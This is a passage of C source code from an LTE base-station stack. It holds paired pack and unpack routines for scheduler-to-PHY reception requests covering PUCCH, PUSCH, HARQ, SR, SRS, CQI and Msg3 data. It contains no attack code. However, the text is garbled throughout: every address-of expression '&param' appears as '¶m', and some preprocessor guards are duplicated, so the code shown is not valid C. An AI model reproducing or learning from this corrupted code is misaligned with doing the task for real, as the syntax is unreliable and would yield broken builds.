CMCHKUNPK(SUnpkU8, ¶m->hqSz, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->pucchResCnt, mBuf);
for (i=0; i<TFU_MAX_HQ_RES; i++) {
CMCHKUNPK(SUnpkU16, ¶m->hqRes[i], mBuf);
}
CMCHKUNPK(SUnpkU8, ¶m->a, mBuf);
RETVALUE(ROK);
}
#endif
#endif
#ifndef TFU_TDD /* else of TFU_TDD */
#ifndef TFU_TDD /* else of TFU_TDD */
/***********************************************************
*
* Func : cmPkTfuUePucchHqRecpInfo
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of harq information on PUCCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUePucchHqRecpInfo
(
TfuUePucchHqRecpInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUePucchHqRecpInfo(param, mBuf)
TfuUePucchHqRecpInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuUePucchHqRecpInfo)
#ifdef LTE_ADV
S32 idx;
for (idx=(TFU_MAX_HQ_RES-1); idx >= 0; idx--) {
CMCHKPK(SPkU16, param->hqRes[idx], mBuf);
}
#else
CMCHKPK(SPkU16, param->hqRes[0], mBuf);
#endif
CMCHKPK(SPkU8, param->pucchResCnt, mBuf);
CMCHKPK(SPkU8, param->hqSz, mBuf);
CMCHKPK(SPkU32, param->hqFdbkMode, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUePucchHqRecpInfo
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of harq information on PUCCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUePucchHqRecpInfo
(
TfuUePucchHqRecpInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUePucchHqRecpInfo(param, mBuf)
TfuUePucchHqRecpInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuUePucchHqRecpInfo)
CMCHKUNPK(SUnpkU32, (U32 *)¶m->hqFdbkMode, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->hqSz, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->pucchResCnt, mBuf);
#ifdef LTE_ADV
S32 idx;
for (idx=0; idx<TFU_MAX_HQ_RES; idx++) {
CMCHKUNPK(SUnpkU16, ¶m->hqRes[idx], mBuf);
}
#else
CMCHKUNPK(SUnpkU16, ¶m->hqRes[0], mBuf);
#endif
RETVALUE(ROK);
}
#endif
#endif
/***********************************************************
*
* Func : cmPkTfuUePucchSrRecpInfo
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of SR information on PUCCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUePucchSrRecpInfo
(
TfuUePucchSrRecpInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUePucchSrRecpInfo(param, mBuf)
TfuUePucchSrRecpInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuUePucchSrRecpInfo)
CMCHKPK(SPkU16, param->n1PucchIdx, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUePucchSrRecpInfo
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of SR information on PUCCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUePucchSrRecpInfo
(
TfuUePucchSrRecpInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUePucchSrRecpInfo(param, mBuf)
TfuUePucchSrRecpInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuUePucchSrRecpInfo)
CMCHKUNPK(SUnpkU16, ¶m->n1PucchIdx, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuUePucchCqiRecpInfo
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of CQI information on PUCCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUePucchCqiRecpInfo
(
TfuUePucchCqiRecpInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUePucchCqiRecpInfo(param, mBuf)
TfuUePucchCqiRecpInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuUePucchCqiRecpInfo)
CMCHKPK(SPkU8, param->cqiPmiSz, mBuf);
CMCHKPK(SPkU16, param->n2PucchIdx, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUePucchCqiRecpInfo
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of CQI information on PUCCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUePucchCqiRecpInfo
(
TfuUePucchCqiRecpInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUePucchCqiRecpInfo(param, mBuf)
TfuUePucchCqiRecpInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuUePucchCqiRecpInfo)
CMCHKUNPK(SUnpkU16, ¶m->n2PucchIdx, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->cqiPmiSz, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuUePucchSrsRecpInfo
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of SRS information on PUCCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUePucchSrsRecpInfo
(
TfuUePucchSrsRecpInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUePucchSrsRecpInfo(param, mBuf)
TfuUePucchSrsRecpInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuUePucchSrsRecpInfo)
CMCHKPK(SPkU32, param->srsCyclicShft, mBuf);
CMCHKPK(SPkU16, param->srsCfgIdx, mBuf);
CMCHKPK(SPkU8, param->transComb, mBuf);
CMCHKPK(SPkU32, param->srsHopBw, mBuf);
CMCHKPK(SPkU8, param->nRrc, mBuf);
CMCHKPK(SPkU32, param->srsBw, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUePucchSrsRecpInfo
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of SRS information on PUCCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUePucchSrsRecpInfo
(
TfuUePucchSrsRecpInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUePucchSrsRecpInfo(param, mBuf)
TfuUePucchSrsRecpInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuUePucchSrsRecpInfo)
CMCHKUNPK(SUnpkU32, (U32 *)¶m->srsBw, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->nRrc, mBuf);
CMCHKUNPK(SUnpkU32, (U32 *)¶m->srsHopBw, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->transComb, mBuf);
CMCHKUNPK(SUnpkU16, ¶m->srsCfgIdx, mBuf);
CMCHKUNPK(SUnpkU32, (U32 *)¶m->srsCyclicShft, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuUePucchRecpReq
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of UCI on PUCCH. This may contain the following:
* -# HARQ
* -# SR
* -# SRS
* -# CQI
* -# HARQ+SR
* -# HARQ+SRS
* -# HARQ+CQI
* -# HARQ+SR+SRS
* -# HARQ+SR+CQI
* -# SR+SRS
* -# SR+CQI
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUePucchRecpReq
(
TfuUePucchRecpReq *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUePucchRecpReq(param, mBuf)
TfuUePucchRecpReq *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuUePucchRecpReq)
CMCHKPK(cmPkTfuUePucchSrsRecpInfo, ¶m->srsInfo, mBuf);
CMCHKPK(cmPkTfuUePucchHqRecpInfo, ¶m->hqInfo, mBuf);
CMCHKPK(cmPkTfuUePucchSrRecpInfo, ¶m->srInfo, mBuf);
CMCHKPK(cmPkTfuUePucchCqiRecpInfo, ¶m->cqiInfo, mBuf);
CMCHKPK(SPkU32, param->uciInfo, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUePucchRecpReq
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of UCI on PUCCH. This may contain the following:
* -# HARQ
* -# SR
* -# SRS
* -# CQI
* -# HARQ+SR
* -# HARQ+SRS
* -# HARQ+CQI
* -# HARQ+SR+SRS
* -# HARQ+SR+CQI
* -# SR+SRS
* -# SR+CQI
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUePucchRecpReq
(
TfuUePucchRecpReq *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUePucchRecpReq(param, mBuf)
TfuUePucchRecpReq *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuUePucchRecpReq)
CMCHKUNPK(SUnpkU32, (U32 *)¶m->uciInfo, mBuf);
CMCHKUNPK(cmUnpkTfuUePucchCqiRecpInfo, ¶m->cqiInfo, mBuf);
CMCHKUNPK(cmUnpkTfuUePucchSrRecpInfo, ¶m->srInfo, mBuf);
CMCHKUNPK(cmUnpkTfuUePucchHqRecpInfo, ¶m->hqInfo, mBuf);
CMCHKUNPK(cmUnpkTfuUePucchSrsRecpInfo, ¶m->srsInfo, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuUeUlSchRecpInfo
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of UEs data on ULSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUeUlSchRecpInfo
(
TfuUeUlSchRecpInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUeUlSchRecpInfo(param, mBuf)
TfuUeUlSchRecpInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuUeUlSchRecpInfo)
CMCHKPK(SPkU8, param->nSrs, mBuf);
CMCHKPK(SPkU8, param->crntTxNb, mBuf);
CMCHKPK(SPkU8, param->txMode, mBuf);
CMCHKPK(SPkU8, param->harqProcId, mBuf);
CMCHKPK(SPkU8, param->rv, mBuf);
CMCHKPK(SPkU8, param->ndi, mBuf);
CMCHKPK(SPkU8, param->isRtx, mBuf);
CMCHKPK(SPkU8, param->hoppingBits, mBuf);
CMCHKPK(SPkU8, param->hoppingEnbld, mBuf);
CMCHKPK(SPkU8, param->nDmrs, mBuf);
CMCHKPK(SPkU32, param->modType, mBuf);
CMCHKPK(SPkU8, param->numRb, mBuf);
CMCHKPK(SPkU8, param->rbStart, mBuf);
CMCHKPK(SPkU16, param->size, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUeUlSchRecpInfo
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of UEs data on ULSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUeUlSchRecpInfo
(
TfuUeUlSchRecpInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUeUlSchRecpInfo(param, mBuf)
TfuUeUlSchRecpInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuUeUlSchRecpInfo)
CMCHKUNPK(SUnpkU16, ¶m->size, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->rbStart, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->numRb, mBuf);
CMCHKUNPK(SUnpkU32, (U32 *)¶m->modType, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->nDmrs, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->hoppingEnbld, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->hoppingBits, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->isRtx, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->ndi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->rv, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->harqProcId, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->txMode, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->crntTxNb, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->nSrs, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuUePuschCqiRecpInfo
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of CQI_RI info on PUSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUePuschCqiRecpInfo
(
TfuUePuschCqiRecpInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUePuschCqiRecpInfo(param, mBuf)
TfuUePuschCqiRecpInfo *param;
Buffer *mBuf;
#endif
{
U32 idx = 0;
TRC3(cmPkTfuUePuschCqiRecpInfo)
CMCHKPK(SPkU8, param->riBetaOff, mBuf);
CMCHKPK(SPkU8, param->cqiBetaOff, mBuf);
for (idx = 0; idx < param->cCNum; idx++)
{
CMCHKPK(cmPkTknU8, ¶m->riSz[idx], mBuf);
CMCHKPK(SPkU8, param->cqiPmiSzRn1[idx], mBuf);
CMCHKPK(SPkU8, param->cqiPmiSzR1[idx], mBuf);
}
CMCHKPK(SPkU8, param->cCNum, mBuf);
CMCHKPK(SPkU8, param->reportType, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUePuschCqiRecpInfo
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of CQI_RI info on PUSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUePuschCqiRecpInfo
(
TfuUePuschCqiRecpInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUePuschCqiRecpInfo(param, mBuf)
TfuUePuschCqiRecpInfo *param;
Buffer *mBuf;
#endif
{
U32 idx;
TRC3(cmUnpkTfuUePuschCqiRecpInfo)
CMCHKUNPK(SUnpkU8, ¶m->reportType, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->cCNum, mBuf);
for (idx = param->cCNum; idx > 0; idx--)
{
CMCHKUNPK(SUnpkU8, ¶m->cqiPmiSzR1[idx-1], mBuf);
CMCHKUNPK(SUnpkU8, ¶m->cqiPmiSzRn1[idx-1], mBuf);
CMCHKUNPK(cmUnpkTknU8, ¶m->riSz[idx-1], mBuf);
}
CMCHKUNPK(SUnpkU8, ¶m->cqiBetaOff, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->riBetaOff, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuUePuschHqRecpInfo
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of Harq info on PUSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUePuschHqRecpInfo
(
TfuUePuschHqRecpInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUePuschHqRecpInfo(param, mBuf)
TfuUePuschHqRecpInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuUePuschHqRecpInfo)
#ifdef TFU_TDD
CMCHKPK(SPkU8, param->ulDai, mBuf);
CMCHKPK(SPkU8, param->nBundled, mBuf);
CMCHKPK(SPkU32, param->hqFdbkMode, mBuf);
#endif
CMCHKPK(SPkU8, param->hqBetaOff, mBuf);
CMCHKPK(SPkU8, param->hqSz, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUePuschHqRecpInfo
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of Harq info on PUSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUePuschHqRecpInfo
(
TfuUePuschHqRecpInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUePuschHqRecpInfo(param, mBuf)
TfuUePuschHqRecpInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuUePuschHqRecpInfo)
CMCHKUNPK(SUnpkU8, ¶m->hqSz, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->hqBetaOff, mBuf);
#ifdef TFU_TDD
CMCHKUNPK(SUnpkU32, (U32 *)¶m->hqFdbkMode, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->nBundled, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->ulDai, mBuf);
#endif
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuUePuschRecpReq
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of UEs data on PUSCH. This may contain the following:
* -# Data
* -# Data + SRS
* -# Data + HARQ
* -# Data + HARQ + SRS
* -# Data + CQI/RI
* -# Data + CQI/RI + SRS
* -# Data + CQI/RI + HARQ
* -# Data + CQI/RI + HARQ + SRS
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUePuschRecpReq
(
TfuUePuschRecpReq *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUePuschRecpReq(param, mBuf)
TfuUePuschRecpReq *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuUePuschRecpReq)
CMCHKPK(cmPkTknU8, ¶m->initialNumRbs, mBuf);
CMCHKPK(cmPkTknU8, ¶m->initialNSrs, mBuf);
CMCHKPK(cmPkTfuUePucchSrsRecpInfo, ¶m->srsInfo, mBuf);
CMCHKPK(cmPkTfuUePuschHqRecpInfo, ¶m->hqInfo, mBuf);
CMCHKPK(cmPkTfuUePuschCqiRecpInfo, ¶m->cqiRiInfo, mBuf);
CMCHKPK(cmPkTfuUeUlSchRecpInfo, ¶m->ulSchInfo, mBuf);
CMCHKPK(SPkU32, param->rcpInfo, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUePuschRecpReq
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of UEs data on PUSCH. This may contain the following:
* -# Data
* -# Data + SRS
* -# Data + HARQ
* -# Data + HARQ + SRS
* -# Data + CQI/RI
* -# Data + CQI/RI + SRS
* -# Data + CQI/RI + HARQ
* -# Data + CQI/RI + HARQ + SRS
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUePuschRecpReq
(
TfuUePuschRecpReq *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUePuschRecpReq(param, mBuf)
TfuUePuschRecpReq *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuUePuschRecpReq)
CMCHKUNPK(SUnpkU32, (U32 *)¶m->rcpInfo, mBuf);
CMCHKUNPK(cmUnpkTfuUeUlSchRecpInfo, ¶m->ulSchInfo, mBuf);
CMCHKUNPK(cmUnpkTfuUePuschCqiRecpInfo, ¶m->cqiRiInfo, mBuf);
CMCHKUNPK(cmUnpkTfuUePuschHqRecpInfo, ¶m->hqInfo, mBuf);
CMCHKUNPK(cmUnpkTfuUePucchSrsRecpInfo, ¶m->srsInfo, mBuf);
CMCHKUNPK(cmUnpkTknU8, ¶m->initialNSrs, mBuf);
CMCHKUNPK(cmUnpkTknU8, ¶m->initialNumRbs, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuUeRecpReqInfo
*
*
* Desc : This structure is a Per UE reception request for either PUCCH or PUSCH
* data. This contains information needed by PHY to decode the data sent by the
* UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUeRecpReqInfo
(
TfuUeRecpReqInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUeRecpReqInfo(param, mBuf)
TfuUeRecpReqInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuUeRecpReqInfo)
switch(param->type) {
case TFU_RECP_REQ_PUSCH:
CMCHKPK(cmPkTfuUePuschRecpReq, ¶m->t.puschRecpReq, mBuf);
break;
case TFU_RECP_REQ_PUCCH:
CMCHKPK(cmPkTfuUePucchRecpReq, ¶m->t.pucchRecpReq, mBuf);
break;
default :
RETVALUE(RFAILED);
}
CMCHKPK(SPkU32, param->type, mBuf);
CMCHKPK(cmPkLteRnti, param->rnti, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUeRecpReqInfo
*
*
* Desc : This structure is a Per UE reception request for either PUCCH or PUSCH
* data. This contains information needed by PHY to decode the data sent by the
* UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUeRecpReqInfo
(
TfuUeRecpReqInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUeRecpReqInfo(param, mBuf)
TfuUeRecpReqInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuUeRecpReqInfo)
CMCHKUNPK(cmUnpkLteRnti, ¶m->rnti, mBuf);
CMCHKUNPK(SUnpkU32, (U32 *)¶m->type, mBuf);
switch(param->type) {
case TFU_RECP_REQ_PUCCH:
CMCHKUNPK(cmUnpkTfuUePucchRecpReq, ¶m->t.pucchRecpReq, mBuf);
break;
case TFU_RECP_REQ_PUSCH:
CMCHKUNPK(cmUnpkTfuUePuschRecpReq, ¶m->t.puschRecpReq, mBuf);
break;
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
#endif /* TFU_UPGRADE */
#ifndef TFU_UPGRADE /* TFU_UPGRADE */
/***********************************************************
*
* Func : cmPkTfuUePucchRecpReq
*
*
* Desc : This structure is sent from Scheduler to PHY in order to request the
* reception of an UEs data on PUCCH. This may contain the following:
* -# HARQ-ACK
* -# Scheduling Request (SR)
* -# HARQ-ACK and SR
* -# CQI
* -# CQI and HARQ-ACK
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUePucchRecpReq
(
TfuUePucchRecpReq *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUePucchRecpReq(param, mBuf)
TfuUePucchRecpReq *param;
Buffer *mBuf;
#endif
{
#ifdef TFU_TDD
S32 i;
#endif
TRC3(cmPkTfuUePucchRecpReq)
#ifdef TFU_TDD
for (i=TFU_MAX_M-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->p[i], mBuf);
}
for (i=TFU_MAX_M-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->m[i], mBuf);
}
CMCHKPK(SPkU8, param->M, mBuf);
CMCHKPK(SPkU8, param->multCnt, mBuf);
#endif
CMCHKPK(SPkU32, param->type, mBuf);
switch(param->hqType) {
case TFU_HQ_RECP_REQ_N1PUCCH:
CMCHKPK(SPkU16, param->t.n1Pucch, mBuf);
break;
#ifdef TFU_TDD
case TFU_HQ_RECP_REQ_NORMAL:
for (i=TFU_MAX_M-1; i >= 0; i--) {
CMCHKPK(SPkU16, param->t.nCce[i], mBuf);
}
break;
#endif
#ifndef TFU_TDD
case TFU_HQ_RECP_REQ_NORMAL:
CMCHKPK(SPkU16, param->t.nCce, mBuf);
break;
#endif
default :
RETVALUE(RFAILED);
}
CMCHKPK(SPkU32, param->hqType, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUePucchRecpReq
*
*
* Desc : This structure is sent from Scheduler to PHY in order to request the
* reception of an UEs data on PUCCH. This may contain the following:
* -# HARQ-ACK
* -# Scheduling Request (SR)
* -# HARQ-ACK and SR
* -# CQI
* -# CQI and HARQ-ACK
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUePucchRecpReq
(
TfuUePucchRecpReq *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUePucchRecpReq(param, mBuf)
TfuUePucchRecpReq *param;
Buffer *mBuf;
#endif
{
#ifdef TFU_TDD
S32 i;
#endif
TRC3(cmUnpkTfuUePucchRecpReq)
CMCHKUNPK(SUnpkU32, (U32 *)¶m->hqType, mBuf);
switch(param->hqType) {
#ifndef TFU_TDD
case TFU_HQ_RECP_REQ_NORMAL:
CMCHKUNPK(SUnpkU16, ¶m->t.nCce, mBuf);
break;
#endif
#ifdef TFU_TDD
case TFU_HQ_RECP_REQ_NORMAL:
for (i=0; i<TFU_MAX_M; i++) {
CMCHKUNPK(SUnpkU16, ¶m->t.nCce[i], mBuf);
}
break;
#endif
case TFU_HQ_RECP_REQ_N1PUCCH:
CMCHKUNPK(SUnpkU16, ¶m->t.n1Pucch, mBuf);
break;
default :
RETVALUE(RFAILED);
}
CMCHKUNPK(SUnpkU32, (U32 *)¶m->type, mBuf);
#ifdef TFU_TDD
CMCHKUNPK(SUnpkU8, ¶m->multCnt, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->M, mBuf);
for (i=0; i<TFU_MAX_M; i++) {
CMCHKUNPK(SUnpkU8, ¶m->m[i], mBuf);
}
for (i=0; i<TFU_MAX_M; i++) {
CMCHKUNPK(SUnpkU8, ¶m->p[i], mBuf);
}
#endif
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuUeMsg3RecpReq
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of UEs data sent as MSG3 for Random access.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUeMsg3RecpReq
(
TfuUeMsg3RecpReq *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUeMsg3RecpReq(param, mBuf)
TfuUeMsg3RecpReq *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuUeMsg3RecpReq)
CMCHKPK(SPkU32, param->modType, mBuf);
CMCHKPK(SPkU16, param->size, mBuf);
/*ccpu00128993 - ADD - fix for msg3 softcombining bug*/
CMCHKPK(SPkU8, param->nDmrs, mBuf);
CMCHKPK(SPkU8, param->rv, mBuf);
CMCHKPK(SPkU8, param->ndi, mBuf);
CMCHKPK(SPkU8, param->harqProcId, mBuf);
CMCHKPK(SPkU8, param->isRtx, mBuf);
CMCHKPK(SPkU8, param->ulDelay, mBuf);
CMCHKPK(SPkU8, param->expCqi, mBuf);
CMCHKPK(SPkU8, param->mcs, mBuf);
CMCHKPK(SPkU8, param->numRb, mBuf);
CMCHKPK(SPkU8, param->rbStart, mBuf);
CMCHKPK(SPkU8, param->hoppingEnbld, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUeMsg3RecpReq
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of UEs data sent as MSG3 for Random access.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUeMsg3RecpReq
(
TfuUeMsg3RecpReq *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUeMsg3RecpReq(param, mBuf)
TfuUeMsg3RecpReq *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuUeMsg3RecpReq)
CMCHKUNPK(SUnpkU8, ¶m->hoppingEnbld, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->rbStart, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->numRb, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->mcs, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->expCqi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->ulDelay, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->isRtx, mBuf);
/*ccpu00128993 - ADD - fix for msg3 softcombining bug*/
CMCHKUNPK(SUnpkU8, ¶m->harqProcId, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->ndi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->rv, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->nDmrs, mBuf);
CMCHKUNPK(SUnpkU16, ¶m->size, mBuf);
CMCHKUNPK(SUnpkU32, (U32 *)¶m->modType, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuUePuschRecpReq
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of UEs data on PUSCH. This may contain the following:
* -# Data
* -# Data + CQI and RI
* -# Data + CQI and HARQ
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUePuschRecpReq
(
TfuUePuschRecpReq *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUePuschRecpReq(param, mBuf)
TfuUePuschRecpReq *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuUePuschRecpReq)
CMCHKPK(SPkU32, param->modType, mBuf);
CMCHKPK(SPkU16, param->size, mBuf);
CMCHKPK(SPkU32, param->mode, mBuf);
CMCHKPK(SPkU8, param->expHarq, mBuf);
